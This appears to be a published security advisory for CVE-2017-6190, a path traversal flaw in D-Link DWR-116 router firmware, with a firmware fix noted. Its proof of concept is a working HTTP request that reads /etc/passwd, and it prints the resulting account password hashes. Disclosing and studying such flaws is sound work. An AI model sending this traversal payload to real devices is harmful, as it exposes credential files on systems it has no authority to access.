D-Link DWR-116 Arbitrary File Download

2017.04.07
Credit: Patryk Bogdan
Risk: High
Local: Yes
Remote: Yes
CWE: CWE-23


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Title: D-Link DWR-116 Arbitrary File Download # Vendor: D-Link (www.dlink.com) # Affected model(s): DWR-116 / DWR-116A1 # Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU) # CVE: CVE-2017-6190 # Date: 04.07.2016 # Author: Patryk Bogdan (@patryk_bogdan) Description: D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability which leads to unathorized file download from device filesystem. PoC: HTTP Request: GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 192.168.2.1 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close HTTP Response: HTTP/1.0 200 OK Content-Type: application/x-none Cache-Control: max-age=60 Connection: close root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin Fix: Update device to the new firmware (V1.05b09)


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